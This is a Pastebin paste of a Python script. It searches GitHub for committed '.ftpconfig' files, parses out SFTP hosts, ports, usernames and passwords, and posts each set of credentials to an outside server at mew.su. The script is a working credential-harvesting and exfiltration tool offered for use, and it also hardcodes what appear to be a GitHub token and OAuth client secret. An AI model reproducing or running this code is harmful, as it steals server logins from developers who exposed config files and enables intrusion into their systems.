Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import json
- import re
- from random import shuffle
- user_token = '9f4923f8d8de6f3eb3b3b76ec88bfc2e2981346a'
- client_id = 'ed4bf9099b6e6ad55c15'
- client_secret = 'e70cad07430b6b943800bd36049ced66e2fcf90f'
- def scanBlockioGh(query):
- page = 0
- request_url = 'https://api.github.com/search/code?q=' + query + '&page=' + str(page) + '&sort=indexed&order=desc&access_token=' + user_token
- r = requests.get(request_url)
- while True:
- if page > 0:
- r = requests.get(request_url.group(1))
- print (request_url.group(1))
- if(r.ok):
- content = json.loads(r.text or r.content)
- print(content)
- for item in content['items']:
- raw_url = item['html_url'].replace('github.com', 'raw.githubusercontent.com').replace('/blob', '')
- # Need to make a code for parsing ftpconfig from GH
- cont = requests.get(raw_url)
- try:
- jcont = json.loads(cont.text)
- print(jcont)
- sname = jcont['protocol']
- surl = jcont['remote']
- shost = jcont['host']
- sport = jcont['port']
- spassword = jcont['pass']
- susername = jcont['user']
- requests.post('https://mew.su/gh_parser/add_sh.php',
- data={'name': sname,
- 'url': surl,
- 'host': shost,
- 'port': sport,
- 'password': spassword,
- 'username': susername})
- sname, surl, shost, sport, spassword, susername = '', '', '', '', '', ''
- except:
- pass
- request_url = re.search("<(.*?)>; rel=\"next\"", r.headers['Link'])
- page = page + 1
- list_queries = ['sftp+filename:.ftpconfig']
- for query in list_queries:
- scanBlockioGh(query)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement